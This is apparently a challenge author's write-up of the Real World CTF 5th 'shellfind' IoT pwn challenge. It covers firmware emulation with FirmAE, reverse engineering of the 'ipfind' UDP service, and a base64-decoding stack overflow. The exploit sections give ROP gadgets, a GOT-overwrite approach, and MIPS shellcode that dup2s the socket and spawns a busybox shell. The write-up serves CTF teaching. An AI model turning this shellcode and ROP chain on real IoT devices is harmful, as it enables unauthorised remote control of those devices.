Background

IoT security has attracted the attention of the security industry and security competitions in recent years. When the vulnerabilities we discover are fixed or hit by the official ahead of time, it may make us feel uncomfortable. Therefore, we must start from the unique attack surface to find vulnerabilities and attack paths. This challenge is to use a certain IoT device that the public is more concerned about to map out a certain non-Web network service as the overall background. Because mapping port is a relatively common vulnerability scenario for debugging vulnerabilities or remote configuration services, it is easy to be exploited by malicious attackers, resulting in the formation of botnets. Related references are as follows:

Description

The challenge type is Pwn, and the difficulty description is difficulty:Normal. The specific description is as follows:

Hello Hacker.
You don't know me, but I know you.
I want to play a game. Here's what happens if you lose.
The device you are watching is hooked into your Saturday and Sunday.
When the timer in the back goes off,
your curiosity will be permanently ripped open.
Think of it like a reverse bear trap.
Here, I'll show you.
There is only one UDP service to shell the device.
It's in the stomach of your cold firmware.
Look around Hacker. Know that I'm not lying.
Better hurry up.
Shell or out, make your choice.

You can directly run the challenge environment locally:

sudo docker run --name shellfind -d --privileged -p 4444/udp --rm 1arry/shellfind

For the challenge attachment, the original docker environment and the final exploit script, see: https://github.com/Larryxi/rwctf-5th-shellfind. Before going deep into the idea of solving the problem, interested ctfers can reverse the firmware to find the target binary, try to exploit the vulnerability within 3 minutes (including 1 minute of environment startup), and obtain an interactive shell.

Environment setup

The challenge only gives the relevant firmware, which can be easily unpacked by using binwalk. To attack a certain network service, you must know which services the device will start by default. The one-and-done solution is to emulate the firmware. You can search and refer to the more common firmware emulation method:

Generally, they are based on qemu. I use FirmAE, but the specific environment is not given in the challenge description, because some additional binary in the environment will simplify the way of exploitation. For example, FirmAE will add full-featured busybox, gdbserver and other binaries in the process of building qemu-image:

echo "----Setting up FIRMADYNE----"
for BINARY_NAME in "${BINARIES[@]}"
do
    BINARY_PATH=`get_binary ${BINARY_NAME} ${ARCH}`
    cp "${BINARY_PATH}" "${IMAGE_DIR}/firmadyne/${BINARY_NAME}"
    chmod a+x "${IMAGE_DIR}/firmadyne/${BINARY_NAME}"
done

I used firmadyne to emulate the firmware at first, but there is no way to infer the network information of the device from the startup process of the firmware. You can also manually build the device network by referring to the following article :

Obviously, FirmAE can successfully infer the network environment and use tap to emulate network devices, but the host is not added to the bridge with tap, which created the restriction that the challenge doesn’t allow outbound connection.

TAPDEV_0=tap${IID}_0
HOSTNETDEV_0=${TAPDEV_0}
echo "Creating TAP device ${TAPDEV_0}..."
sudo tunctl -t ${TAPDEV_0} -u ${USER}


echo "Bringing up TAP device..."
sudo ip link set ${HOSTNETDEV_0} up
sudo ip addr add 192.168.0.2/24 dev ${HOSTNETDEV_0}


echo -n "Starting emulation of firmware... "
 ${QEMU} ${QEMU_BOOT} -m 1024 -M ${QEMU_MACHINE} -kernel ${KERNEL} \
    -drive if=ide,format=raw,file=${IMAGE} -append "root=${QEMU_ROOTFS} console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 FIRMAE_NET=${FIRMAE_NET} FIRMAE_NVRAM=${FIRMAE_NVRAM} FIRMAE_KERNEL=${FIRMAE_KERNEL} FIRMAE_ETC=${FIRMAE_ETC} ${QEMU_DEBUG}" \
    -serial file:${WORK_DIR}/qemu.final.serial.log \
    -serial unix:/tmp/qemu.${IID}.S1,server,nowait \
    -monitor unix:/tmp/qemu.${IID},server,nowait \
    -display none \
    -device e1000,netdev=net0 -netdev tap,id=net0,ifname=${TAPDEV_0},script=no -device e1000,netdev=net1 -netdev socket,id=net1,listen=:2001 -device e1000,netdev=net2 -netdev socket,id=net2,listen=:2002 -device e1000,netdev=net3 -netdev socket,id=net3,listen=:2003 | true


echo "Bringing down TAP device..."
sudo ip link set ${TAPDEV_0} down


echo "Deleting TAP device ${TAPDEV_0}..."
sudo tunctl -d ${TAPDEV_0}


echo "Done!"

Root cause

The challenge does not specify which port corresponds to the target service, but after emulating the firmware, we could exclude the 80 tcp service firstly, and the rest work is reverse engineering and positioning.

# /firmadyne/busybox netstat -lnp
/firmadyne/busybox netstat -lnp
netstat: showing only processes with your user ID
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 :::31338                :::*                    LISTEN      911/busybox
tcp        0      0 :::80                   :::*                    LISTEN      761/httpd
udp        0      0 0.0.0.0:62976           0.0.0.0:*                           889/ddp
udp        0      0 0.0.0.0:62720           0.0.0.0:*                           765/ipfind
Active UNIX domain sockets (only servers)
Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path

When reversing the ipfind binary, I found that the overall logic is simple. After the UDP service receives the data, sub_40172C or sub_4013F4 function is called according to the data structure, and you could convert the v15 into a character array, which looks better:

                  v6 = server_sockfd;
                  v14.__fds_bits[(unsigned int)server_sockfd >> 5] |= 1 << server_sockfd;
                  if ( select(v6 + 1, &v14, 0, 0, 0) >= 0 )
                  {
                    if ( ((v14.__fds_bits[(unsigned int)server_sockfd >> 5] >> server_sockfd) & 1) != 0 )
                    {
                      v11 = 16;
                      memset(v15, 0, sizeof(v15));
                      recvfrom(server_sockfd, v15, 0x800u, 0, (struct sockaddr *)&client_addr, addr_len);
                      *(_DWORD *)&v15[4] = (*(_DWORD *)&v15[4] << 24) | (unsigned __int8)v15[4] | ((*(_DWORD *)&v15[4] & 0xFF0000u) >> 8) | ((*(_DWORD *)&v15[4] & 0xFF00) << 8);
                      v7 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)&v15[9]) << 8) | ((unsigned int)((unsigned __int8)v15[10] | ((unsigned __int8)v15[9] << 8)) >> 8));
                      *(_WORD *)&v15[9] = v7;
                      *(_WORD *)&v15[11] = (_byteswap_ushort(*(unsigned __int16 *)&v15[11]) << 8) | ((unsigned int)((unsigned __int8)v15[12] | ((unsigned __int8)v15[11] << 8)) >> 8);
                      v8 = (unsigned __int16)((_byteswap_ushort(*(unsigned __int16 *)&v15[23]) << 8) | ((unsigned int)((unsigned __int8)v15[24] | ((unsigned __int8)v15[23] << 8)) >> 8));
                      *(_WORD *)&v15[23] = v8;
                      v17 = (*(_DWORD *)&v15[25] << 24) | (unsigned __int8)v15[25] | ((*(_DWORD *)&v15[25] & 0xFF0000u) >> 8) | ((*(_DWORD *)&v15[25] & 0xFF00) << 8);
                      *(_DWORD *)&v15[25] = v17;
                      if ( !strncmp(v18, v20, 4u) && v15[8] == 10 )
                      {
                        if ( v7 == 1 )
                        {
                          if ( !v8 && !memcmp(v21, v23, 6u) && !v17 )
                            sub_40172C((int)v15);
                        }
                        else if ( v7 == 2
                               && net_get_hwaddr(ifname, v22) >= 0
                               && !memcmp(v21, v22, 6u)
                               && *(_DWORD *)&v15[25] == 0x8E )
                        {
                          sub_4013F4((int)v15);
                        }
                      }
                    }
                  }

If you don’t know the mac address of the target device, you will enter sub_40172C to obtain the basic information of the device, and then broadcast it in the LAN. In order to bring the vulnerability to the WAN side, I deliberately patch the binary so that it can be sent back to the client, as one of the hints for the target program. Of course, you can also use qemu’s default mac address for subsequent exploitation, so I don’t need to patch. BTW, after the patch procedure, I use firmware-mod-kit to repack the firmware.

  v9[75] = v9[75] & 0xFF0000FF | ((unsigned __int16)(((_WORD)v7 << 8) | BYTE2(v7)) << 8);
  v3 = inet_ntoa((struct in_addr)dword_413174);
  dword_413174 = inet_addr("255.255.255.255");
  if ( sendto(server_sockfd, v9, 0x21Du, 0, (const struct sockaddr *)&client_addr, 0x10u) < 0 )
    v4 = "Failed";
  else
    v4 = "Success";
  return s_log_nothing("from %s: Discovery %s.\n", v3, v4);

After entering the sub_400F50 function within sub_4013F4, the obvious vulnerability is that the base64 decoding goes directly to the stack without length limit, causing buffer overflow:

int __fastcall sub_400F50(int a1, int a2)
{
  int v4; // $s1
  int v5; // $s0
  char v7[256]; // [sp+18h] [-344h] BYREF
  char v8[256]; // [sp+118h] [-244h] BYREF
  char v9[256]; // [sp+218h] [-144h] BYREF
  char v10; // [sp+318h] [-44h] BYREF
  char v11[63]; // [sp+319h] [-43h] BYREF

  v10 = 0;
  memset(v11, 0, sizeof(v11));
  Base64decs(a1, v7);
  Base64decs(a2, v8);
  cfgRead("USER_ADMIN", "Username1", &v10);
  usrInit(0);
  v4 = usrGetGroup(v7);
  v5 = usrGetPass(v7, v9, 256);
  if ( v5 == 1 )
  {
    if ( !v4 && !strcmp(&v10, v7) )
      v5 = strcmp(v8, v9) != 0;
  }
  else
  {
    v5 = -1;
  }
  usrFree();
  return v5;
}

Exploit

After checksec, the program found that the security compilation options were not enabled, but mipsrop did not give a valid output, which means we have to construct rop by yourself. At the same time, ASLR in the qemu system is also one of the limitations of the challenge.

$ checksec /mnt/hgfs/rwctf/iot/firmware/ipfind
[*] You have the latest version of Pwntools (4.8.0)
[*] '/mnt/hgfs/rwctf/iot/firmware/ipfind'
    Arch:     mips-32-big
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

Write GOT

If PIE is not enabled, we should check to see if there are any gadgets that can be used in the .text section, we cloud notice a gadget written in 4 bytes:

.text:00400F24 8F A2 00 18                 lw      $v0, 0x20+var_8($sp)
.text:00400F28 AE 02 00 0D                 sw      $v0, 0xD($s0)
.text:00400F2C
.text:00400F2C             loc_400F2C:                              # CODE XREF: sub_400E50+CC↑j
.text:00400F2C 8F 82 80 68                 la      $v0, ifname
.text:00400F30 8C 44 00 00                 lw      $a0, (ifname - 0x413138)($v0)
.text:00400F34 8F 99 80 8C                 la      $t9, net_get_hwaddr
.text:00400F38 03 20 F8 09                 jalr    $t9 ; net_get_hwaddr
.text:00400F3C 26 05 00 11                 addiu   $a1, $s0, 0x11
.text:00400F40 8F BF 00 24                 lw      $ra, 0x20+var_s4($sp)
.text:00400F44 8F B0 00 20                 lw      $s0, 0x20+var_s0($sp)
.text:00400F48 03 E0 00 08                 jr      $ra
.text:00400F4C 27 BD 00 28                 addiu   $sp, 0x28

$s0 is controllable at the overflow point, which is equivalent to writing at any address. We can write a custom command and then jump to the system, or modify the GOT table and jump. We choose the latter one. Interested ctfers can try the first one. In the process of constructing the subsequent rop chain, you will find the first error place. The reason is that IDA has done some work for us, so that the $gp register is not considered in place:

.text:00400F34 8F 99 80 8C                 la      $t9, net_get_hwaddr
8F 99 80 8C    lw $t9, -0x7f74($gp)

So we should restore the $gp register firstly, you can also search it in the results of ROPgadget:

0x00400c9c : lw $gp, 0x10($sp) ; lw $ra, 0x1c($sp) ; jr $ra ; addiu $sp, $sp, 0x20

Finally, just find a gadget that $a0 points to the bottom of the stack, such as memset, after modifying the GOT, you can execute any command:

.text:00401768 27 A4 00 21                 addiu   $a0, $sp, 0x35C+var_33B  # s
.text:0040176C 00 00 28 21                 move    $a1, $zero       # c
.text:00401770 8F 99 80 78                 la      $t9, memset
.text:00401774 03 20 F8 09                 jalr    $t9 ; memset
.text:00401778 24 06 00 FF                 li      $a2, 0xFF        # n

But how to get the flag through a single command, the target environment is not connected to the Internet, which means that the reverse shell cannot be used, the udp port must be reused. First of all, I would like to know whether the target environment has something like nc. If it happens to be a FirmAE environment, then you could use busybox in the /firmadyne/ directory to start a udp_bind_shell directly. Unfortunately, the nc of busybox was changed to nx by me, I don’t know if you can guess it.

.rodata:0057401F                 .byte 0x6E  # n
.rodata:00574020                 .byte 0x78  # x
.rodata:00574021                 .byte    0
.rodata:00574022                 .byte 0x6E  # n
.rodata:00574023                 .byte 0x65  # e
.rodata:00574024                 .byte 0x74  # t
.rodata:00574025                 .byte 0x73  # s
.rodata:00574026                 .byte 0x74  # t
.rodata:00574027                 .byte 0x61  # a
.rodata:00574028                 .byte 0x74  # t
.rodata:00574029                 .byte    0

If not, let’s echo to send out a binary. Due to the length of the initial recvfrom, the buffer overflow padding, and the expansion of the base64 encoding, a command can only contain a few hundred characters. I am too lazy to compile, generate and streamline the binary, so it would be great if the command can be executed multiple times, we can restart the vulnerability service after exploiting the vulnerability:

        bof_payload += cmd
        if restart == True:
            bof_payload += "rm /var/run/ipfind-br0.pid;ipfind br0 &\x00"
        else:
            bof_payload += "\x00"

But restarting the vulnerable service multiple times will cause it to inherit multiple fds. If your binary is relatively large, inexplicable bugs will appear when you finally listen to the same port. It is recommended to close the original server_sockfd at first:

.text:004021E8 8F BC 00 10                 lw      $gp, 0x98+var_88($sp)
.text:004021EC 8F 82 80 B8                 la      $v0, server_sockfd
.text:004021F0 8C 44 00 00                 lw      $a0, (server_sockfd - 0x413134)($v0)  # fd
.text:004021F4 8F 99 80 38                 la      $t9, close
.text:004021F8 03 20 F8 09                 jalr    $t9 ; close
.text:004021FC 00 00 00 00                 nop
.text:00402200 8F BF 00 9C                 lw      $ra, 0x98+var_s4($sp)
.text:00402204 8F B0 00 98                 lw      $s0, 0x98+var_s0($sp)
.text:00402208 03 E0 00 08                 jr      $ra
.text:0040220C 27 BD 00 A0                 addiu   $sp, 0xA0

ret2shellcode

If you don’t want to execute so many commands, and the stack is executable, the quickest way is ret2shellcode, you can find such gadget in the .text section:

.text:004013D0             s_log_nothing:                           # CODE XREF: sub_4013F4+9C↓p
.text:004013D0                                                      # sub_4013F4+160↓p ...
.text:004013D0
.text:004013D0             var_8           = -8
.text:004013D0             arg_4           =  4
.text:004013D0             arg_8           =  8
.text:004013D0             arg_C           =  0xC
.text:004013D0
.text:004013D0 27 BD FF F0                 addiu   $sp, -0x10
.text:004013D4 AF A5 00 14                 sw      $a1, 0x10+arg_4($sp)
.text:004013D8 AF A6 00 18                 sw      $a2, 0x10+arg_8($sp)
.text:004013DC AF A7 00 1C                 sw      $a3, 0x10+arg_C($sp)
.text:004013E0 27 A2 00 14                 addiu   $v0, $sp, 0x10+arg_4
.text:004013E4 AF A2 00 08                 sw      $v0, 0x10+var_8($sp)
.text:004013E8 27 BD 00 10                 addiu   $sp, 0x10
.text:004013EC 03 E0 00 08                 jr      $ra
.text:004013F0 00 00 00 00                 nop

Among them, addiu $v0, $sp, 0x10+arg_4 typed out the stack address, and we could search for gadget within the cross-introduction of the s_log_nothing function, which does not affect $v0 and quickly overwrites $ra, for example :

.text:00401F98 0C 10 04 F4                 jal     s_log_nothing
.text:00401F9C 24 84 2C F8                 li      $a0, aCanTGetHelloSo  # "Can't get hello socket\n"
.text:00401FA0 10 00 00 44                 b       loc_4020B4

.text:004020B4 8F BF 00 84                 lw      $ra, 0x7C+var_s8($sp)
.text:004020B8 8F B1 00 80                 lw      $s1, 0x7C+var_s4($sp)
.text:004020BC 8F B0 00 7C                 lw      $s0, 0x7C+var_s0($sp)
.text:004020C0 03 E0 00 08                 jr      $ra
.text:004020C4 27 BD 00 88                 addiu   $sp, 0x88

The value written at any address above happens to be $v0, so we can jump after another load. Carefully observe the end of the function in the program, we can find such a gadget just meets our needs:

.text:004027C0 03 20 F8 09                 jalr    $t9
.text:004027C4 00 00 00 00                 nop
.text:004027C8
.text:004027C8             loc_4027C8:                              # CODE XREF: sub_402790+28↑j
.text:004027C8 8E 19 00 00                 lw      $t9, 0($s0)
.text:004027CC 17 31 FF FC                 bne     $t9, $s1, loc_4027C0
.text:004027D0 26 10 FF FC                 addiu   $s0, -4
.text:004027D4 8F BF 00 24                 lw      $ra, 0x1C+var_s8($sp)
.text:004027D8 8F B1 00 20                 lw      $s1, 0x1C+var_s4($sp)
.text:004027DC 8F B0 00 1C                 lw      $s0, 0x1C+var_s0($sp)
.text:004027E0 03 E0 00 08                 jr      $ra
.text:004027E4 27 BD 00 28                 addiu   $sp, 0x28

Before the actual jump to the stack address, $a1, $a2 and $a3 will be written to the stack at 0x004013D4 of the gadget. It needs to be combined to ensure that these three values ​​are nop instructions. If it affects the normal execution of the rop chain, it still needs to be customized at the very beginning, such as “clearing” $a3 (it will become 0x0, 0x0, 0x1 after close):

.text:004020A0 00 00 38 21                 move    $a3, $zero       # flags
.text:004020A4 8F BC 00 18                 lw      $gp, 0x7C+var_64($sp)
.text:004020A8 8F 99 80 38                 la      $t9, close
.text:004020AC 03 20 F8 09                 jalr    $t9 ; close
.text:004020B0 02 00 20 21                 move    $a0, $s0         # fd
.text:004020B4
.text:004020B4             loc_4020B4:                              # CODE XREF: sub_401DF4+1AC↑j
.text:004020B4                                                      # sub_401DF4+238↑j ...
.text:004020B4 8F BF 00 84                 lw      $ra, 0x7C+var_s8($sp)
.text:004020B8 8F B1 00 80                 lw      $s1, 0x7C+var_s4($sp)
.text:004020BC 8F B0 00 7C                 lw      $s0, 0x7C+var_s0($sp)
.text:004020C0 03 E0 00 08                 jr      $ra
.text:004020C4 27 BD 00 88                 addiu   $sp, 0x88

Finally we jump to the shellcode, we need to realize the function of udp_bind_shell, there is not ready-made in msf, we can only look at the code of nc. When we use nc -l -p 62720 -u -e /bin /sh, it firstly recvfrom to obtain the client address and then connect back:

			} else if (uflag && !kflag) {
				/*
				 * For UDP and not -k, we will use recvfrom()
				 * initially to wait for a caller, then use
				 * the regular functions to talk to the caller.
				 */
				int rv;
				char buf[2048];
				struct sockaddr_storage z;

				len = sizeof(z);
				rv = recvfrom(s, buf, sizeof(buf), MSG_PEEK,
				    (struct sockaddr *)&z, &len);
				if (rv == -1)
					err(1, "recvfrom");

				rv = connect(s, (struct sockaddr *)&z, len);
				if (rv == -1)
					err(1, "connect");

				if (family == AF_UNIX) {
					if (pledge("stdio unix", NULL) == -1)
						err(1, "pledge");
				}
				if (vflag)
					report_sock("Connection received",
					    (struct sockaddr *)&z, len,
					    family == AF_UNIX ? host : NULL);

				readwrite(s, NULL);

Because recvfrom has been called when the vulnerability was triggered by the first interaction, with the help of the existing connect back shellcode, it’s done by execve busybox after dup2. We should pay attention to the format delivered to busybox. So one shot to getshell:

        bof_payload += "\x3C\x1C\x00\x42"        # lui   $gp, 0x42
        bof_payload += "\x27\x9C\xB0\x30"        # addiu $gp, $gp, -0x4fd0
        bof_payload += "\x8F\x82\x80\xB8"        # la      $v0, server_sockfd
        bof_payload += "\x8C\x44\x00\x00"        # lw      $a0, (server_sockfd - 0x413134)($v0)  # fd
        bof_payload += "\x8F\x85\x80\xF4"        # lw $a1, -0x7f0c($gp)
        bof_payload += "\x24\x0c\xff\xef"        # li      t4,-17 ( addrlen = 16 )     
        bof_payload += "\x01\x80\x30\x27"        # nor     a2,t4,zero 
        bof_payload += "\x24\x02\x10\x4a"        # li      v0,4170 ( sys_connect ) 
        bof_payload += "\x01\x01\x01\x0c"        # syscall 0x40404

        bof_payload += "\x3C\x1C\x00\x42"        # lui   $gp, 0x42
        bof_payload += "\x27\x9C\xB0\x30"        # addiu $gp, $gp, -0x4fd0
        bof_payload += "\x8F\x82\x80\xB8"        # la      $v0, server_sockfd
        bof_payload += "\x8C\x44\x00\x00"        # lw      $a0, (server_sockfd - 0x413134)($v0)  # fd  

        bof_payload += "\x24\x0f\xff\xfd"        # li      t7,-3
        bof_payload += "\x01\xe0\x28\x27"        # nor     a1,t7,zero
        # bof_payload += "\x8f\xa4\xff\xff"        # lw      a0,-1(sp)
        bof_payload += "\x24\x02\x0f\xdf"        # li      v0,4063 ( sys_dup2 )
        bof_payload += "\x01\x01\x01\x0c"        # syscall 0x40404
        bof_payload += "\x20\xa5\xff\xff"        # addi    a1,a1,-1
        bof_payload += "\x24\x01\xff\xff"        # li      at,-1
        bof_payload += "\x14\xa1\xff\xfb"        # bne     a1,at, dup2_loop

        # execve /bin/busybox sh
        bof_payload += "\x28\x06\xFF\xFF"        # slti    $a2, $zero, -1
        bof_payload += "\x3C\x0F\x2F\x62"        # lui     $t7, 0x2f62
        bof_payload += "\x35\xEF\x69\x6E"        # ori     $t7, $t7, 0x696e
        bof_payload += "\xAF\xAF\xFF\xDC"        # sw      $t7, -0x24($sp)
        bof_payload += "\x3C\x0F\x2F\x62"        # lui     $t7, 0x2f62
        bof_payload += "\x35\xEF\x75\x73"        # ori     $t7, $t7, 0x7573
        bof_payload += "\xAF\xAF\xFF\xE0"        # sw      $t7, -0x20($sp)
        bof_payload += "\x3C\x0F\x79\x62"        # lui     $t7, 0x7962
        bof_payload += "\x35\xEF\x6F\x78"        # ori     $t7, $t7, 0x6f78
        bof_payload += "\xAF\xAF\xFF\xE4"        # sw      $t7, -0x1c($sp)
        bof_payload += "\xAF\xA0\xFF\xE8"        # sw      $zero, -0x18($sp)
        bof_payload += "\x3C\x0F\x73\x68"        # lui     $t7, 0x7368
        bof_payload += "\xAF\xAF\xFF\xEC"        # sw      $t7, -0x14($sp)
        bof_payload += "\xAF\xA0\xFF\xF0"        # sw      $zero, -0x10($sp)
        bof_payload += "\x27\xAF\xFF\xDC"        # addiu   $t7, $sp, -0x24
        bof_payload += "\xAF\xAF\xFF\xF4"        # sw      $t7, -0xc($sp)
        bof_payload += "\x27\xAF\xFF\xEC"        # addiu   $t7, $sp, -0x14
        bof_payload += "\xAF\xAF\xFF\xF8"        # sw      $t7, -8($sp)
        bof_payload += "\xAF\xA0\xFF\xFC"        # sw      $zero, -4($sp)
        bof_payload += "\x27\xA4\xFF\xDC"        # addiu   $a0, $sp, -0x24
        bof_payload += "\x27\xA5\xFF\xF8"        # addiu   $a1, $sp, -8
        bof_payload += "\x24\x02\x0F\xAB"        # addiu   $v0, $zero, 0xfab
        bof_payload += "\x01\x01\x01\x0C"        # syscall 0x40404

Summary

  1. According to the way of building the challenge, there are three ways to find the target binary: 1. It is found that the program has been patched during the reverse process; 2. Repacking the firmware will leave traces of access time; 3. Use the firmware emulation method to discover the network services that are started by default. It should be counted as one of the basic qualities of IoT offensive and defensive personnel.
  2. The reverse engineering and vulnerability in the challenge are not difficult, but it is necessary for the contestants to dynamically send packets and interact with the network program in the early stage to determine the target binary, which may be the same as fingerprint scanning.
  3. It seems impossible to obtain an interactive shell based on a single vulnerability in a simple program, but in the end we cannot just refer to the output given to us by the auxiliary program in the process of exploiting the vulnerability, we must investigate its essence and let everything in the program be used by us . In addition, this exploit can also directly return to the gadget near sendto to complete information leak, but it requires multiple interactions, which is the same as the shellcode that directly lists the directory, I personally think that some noise may be added.
  4. I am very grateful to Chaitin Technology for giving me the opportunity to explore security offensive and defensive technologies in this Real World CTF 5th. I also thank all the hackers and ctfers for their hard work in this competition. I hope this article can inspire you and me. Hack all the way.

Chinese version: https://mp.weixin.qq.com/s/Wb7SMy8AHtiv71kroHEHsQ